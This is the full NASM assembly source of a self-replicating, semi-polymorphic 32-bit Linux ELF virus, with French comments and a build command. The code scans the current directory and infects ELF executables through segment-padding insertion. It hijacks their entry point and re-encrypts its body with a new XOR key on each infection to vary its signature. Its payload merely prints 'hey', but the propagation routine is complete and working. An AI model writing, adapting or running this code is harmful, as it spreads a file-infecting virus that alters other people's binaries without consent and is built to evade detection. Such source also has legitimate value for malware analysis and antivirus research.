;#################################### ;## Un virus Polymorphe ELF 32 bit ## ;## Par S01den ## ;#################################### ; .____ .__ ________ ________ __________ .___.__ ; | | |__| ____ \_____ \ \_____ \ \______ \_______ ____ __ __ __| _/| |__ ____ ____ ; | | | |/ \ _(__ < / ____/ | ___/\_ __ \/ _ \| | \/ __ | | | \ / _ \ / \ ; | |___| | | \/ \/ \ | | | | \( <_> ) | / /_/ | | Y ( <_> ) | \ ; |_______ \__|___| /______ /\_______ \ /\ |____| |__| \____/|____/\____ | |___| /\____/|___| / ; \/ \/ \/ \/ \/ \/ \/ \/ ; Infection par segment padding infection, et semi-polymorphisme. Fait avec amour par S01den (@s01den) ; Peut uniquement infecter les ELF dont la stack est executable, parce que la routine de polymorphisme opère sur la stack... (oui c'est stupide) ; Le chiffrement est simplement un xor avec une clée aléatoire d'un octet générée avec un générateur congruentiel linéaire à chaque nouvelle infection. ;#################################### LIENS UTILES #################################### ;# http://ivanlef0u.fr/repo/madchat/vxdevl/vxsrc/Linux/Linux.Cyneox/Linux.Cyneox.asm # ;# http://ivanlef0u.fr/repo/madchat/vxdevl/vxsrc/Linux/Linux.Binom/Linux.Binom.asm # ;# http://shell-storm.org/shellcode/files/syscalls.html # ;###################################################################################### ;nasm -f elf32 proudhon.asm && ld -m elf_i386 proudhon.o -o proudhon ;---------------------------------- CUT HERE ---------------------------------- %define VIRSIZE 803 %define SIZE_DECIPHER 0x35 %define DELTA_CODE 0x2f1 %define RET_OEP VIRSIZE+SIZE_DECIPHER+3 ; Voici les variables pour le Générateur Congruentiel Linéaire (pour générer notre clef aléatoire) ; les valeurs sont les mêmes que celles de minstd_rand du C++11 %define a_lcg 48271 %define modulus_lcg 0x7fffffff section .text global _start _start: mov ecx, VIRSIZE add ecx, 0x3f ; SIZE_DECIPHER+9 loop: call get_eip sub eax, 0xd mov esi, eax mov al, byte [esi+ecx-1] cmp ecx, 0x352 ; Parce que le code pour retourner au point d'entré original (l'OEP) ne sont pas chiffrées jae set_byte cmp ecx, SIZE_DECIPHER ; Parce que cette routine et get_eip ne sont pas chiffrées non plus jbe set_byte xor al ,0x00 set_byte: mov byte [esp+ecx-1], al dec ecx jnz loop add esp, SIZE_DECIPHER jmp esp get_eip: mov eax, [esp] ret vx: add esp, VIRSIZE add esp, SIZE_DECIPHER xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx mov edx, VIRSIZE push edx ; On pousse la taille du virus sur la stack add esp, 0x20 getFiles: mov eax,183 ; pwd mov ebx,esp mov ecx,128 int 0x80 mov eax, 5 ; open mov ecx, 0 mov edx, 0 int 0x80 cmp eax, 0 jl exit mov ebx, eax ; getdents mov eax, 141 mov edx, 1024 push esp mov ecx, [esp] ; Un mini trick pour sauvegarder un point sur la stack int 0x80 mov eax, 6 ; close int 0x80 mov esp, ecx xor edi, edi xor ecx, ecx xor ebx, ebx mov esi, edx xor edx, edx parse_dir: ; Un trick sale et stupide pour récupèrer les noms de fichiers depuis le résultat du getdents précédent inc esp xor eax, eax cmp byte [esp], 0x00 jne not_zero cmp ecx, 2 ; Si il y a plus de deux octets affichables successifs suivis d'un null-byte, on considère la chaine de caractère comme un nom de fichier. ja infect ; Par conséquent, on tente de l'infecter not_zero: mov bl, byte [esp] cmp bl, 0x20 ; Vérifie si les octets sont affichables. jbe not_filename cmp bl, 0x7e jae not_filename inc ecx keep_parsing: inc edi cmp edi, 0x150 jae exit jmp parse_dir not_filename: xor ebx, ebx xor ecx, ecx jmp keep_parsing infect: mov ebx, ecx sub esp, ecx setFileName: mov eax, 5 ; open mov ebx, esp push ebp mov ebp, ecx mov ecx, 2 ; O_RW xor edx, edx int 0x80 cmp eax, 0 jl restore_esp push eax push eax stat: ; Pour récupèrer la taille du fichier à infecter mov eax,106 ; SYS_STAT sub esp,64 mov ecx,esp int 0x80 mov edx,[esp+20] ; edx = Longueur du fichier à infecter add esp,64 pop ebx push edx add esp, 0x400 mov eax, 3 ; read mov ecx, esp ; La stack contient maintenant l'entièreté du contenu du fichier qu'on essaie d'infecter int 0x80 cmp eax, 0 jl parse_dir parse_file: push edx push edx push edx add esp, 0xc get_magic: cmp dword [esp], 0x464c457f ; Vérifie si le fichier est un ELF je get_signature sub esp, 0x3f4 call close call clean jmp parse_dir get_signature: xor ecx, ecx mov cx, word [esp+0x18] ; récupère e_phnum "Contient le nombre d'entrées dans la program header table" mov eax, dword [esp+0x1C] ; récupère e_phoff "Pointe vers le début de la program header table." (Qui contient les informations sur les segments) ; Pour la segment padding infection, on s'interesse à l'espace entre les segments text et data mov ecx,[esp+eax+0x20*3+8] ; get data vaddr mov ebx,[esp+eax+0x20*2+16] ; get text size mov eax,[esp+eax+0x20*2+8] ; get text vaddr add ebx, eax ; ebx = text.vaddr+text.filesz sub ecx,ebx ; data.p_vaddr - (text.p_filesz + text.p_vaddr) mov eax,VIRSIZE cmp eax, ecx ja no_room mov eax,[esp+0x18] ; récupère l'EP push eax add ebx, 15 mov eax, dword [esp+0x1C+4] mov eax,[esp+eax+0x20*2+8+4] mov [esp+0x18+4], ebx ; ecrit le nouvel entry point (nouvel EP = text.p_filesz + text.p_vaddr) sub ebx, eax ; Récupère l'offset du nouvel EP mov eax, ebx push eax add esp, eax mov esi, eax cmp dword [esp+7], 0x323b900 ; Vérifie si les octets à l'entry point sont les mêmes que dans chaque fichier infecté (0x323b900 = mov ecx,VIRSIZE). je already_infected ; On met le code pour retourner à l'OEP sur la stack mov byte [esp], 0xbd ; - sub esp, eax ; | - Récupère l'OEP sur la stack et le stocke dans ECX pop ebx ; | | pop ecx ; | | push ebx ; | | add esp, eax ; | | sub esp, 4 ; | - mov [esp+1], ecx ; - mov ebp, OEP mov word [esp+5],0xe5ff ; jmp ebp writeVirus: ;####### Insertion du code pour retourner à l'Original Entry Point ####### xor edx, edx mov ebx, 3 mov ecx, eax mov eax, RET_OEP add ecx, eax mov eax, 19 ; lseek int 0x80 mov ecx, esp mov eax, 4 ; write mov edx, 7 int 0x80 ;####### Ecriture du nouvel Entry Point ####### xor edx, edx mov ecx, 0x18 mov eax, 19 int 0x80 add esp, 8 sub esp, esi mov ecx, esp add ecx, 0x18 mov edx, 4 mov eax, 4 int 0x80 ;####### Ecriture du Virus ####### mov ebx, 3 xor edx, edx mov ecx, esi mov eax, 19 int 0x80 call get_eip mov bl, byte [eax-0x1e2] ; Récupère la clef actuelle push eax xor eax, eax mov al, bl ; Générateur Congruentiel Linéaire (J'utilise cet algo parce que c'est une manière de generer des nombres pseudo-aléatoires qui est simple à implémenter en assembleur) lcg: inc al inc al mov ecx, a_lcg mul eax xor edx, edx mov ebx, modulus_lcg div ebx pop eax mov byte [eax-0x1e2], dl ; edx contient maintenant le reste de l'opération (X_n+1 = (aX_n+c) % modulus), donc la nouvelle clef call clean get_decipher: ; Récuperation de la routine de déchiffrement (qui contient la nouvelle clef) call get_eip sub eax, 0x236 mov cl, byte [eax+ebx] mov byte [esp+ebx], cl inc ebx cmp ebx, SIZE_DECIPHER jne get_decipher call clean jmp getVirus write_vx_code: call clean mov bl, byte [esp+0x24] ; récuperation de la clef mov edx, VIRSIZE encrypt: ; Chiffre le corps du virus avec la nouvelle clef mov cl, byte [esp+SIZE_DECIPHER+eax] xor ecx, ebx mov byte [esp+SIZE_DECIPHER+eax], cl inc eax cmp eax, edx jne encrypt mov ecx, esp mov ebx, 3 mov edx, VIRSIZE add edx, SIZE_DECIPHER mov eax, 4 int 0x80 sub eax, SIZE_DECIPHER cmp eax, VIRSIZE jb exit ok_write: sub esp, 0x3f0 call close call clean jmp parse_dir no_room: sub esp, 0x3ee ; Pour retourner au contenu de getdents sur la stack call close call clean jmp parse_dir already_infected: sub esp, 0xa55 ; Pour retourner au contenu de getdents sur la stack call close call clean jmp parse_dir exit: call close call payload call clean call get_eip add eax, 0x7a ; Saute à la routine de restauration du point d'entré original jmp eax clean: xor ecx, ecx xor ebx, ebx xor eax, eax xor edx, edx ret close: mov eax, 6 int 0x80 ret payload: ; Affiche simplement un "hey" push 0 push 0x796568 mov ecx, esp mov eax, 4 mov ebx, 1 mov edx, 4 int 0x80 pop ecx pop edx call clean ret restore_esp: add esp, ebp pop ebp jmp parse_dir getVirus: ; Juste une methode simple permettant de récuperer l'entièreté du code du virus à partir de l'EIP actuel call get_eip sub eax, DELTA_CODE mov cl, byte [eax+ebx] mov byte [esp+SIZE_DECIPHER+ebx], cl inc ebx cmp ebx, VIRSIZE jne getVirus call clean jmp write_vx_code ;--------------------------------------------------------------------------------------------------------------------------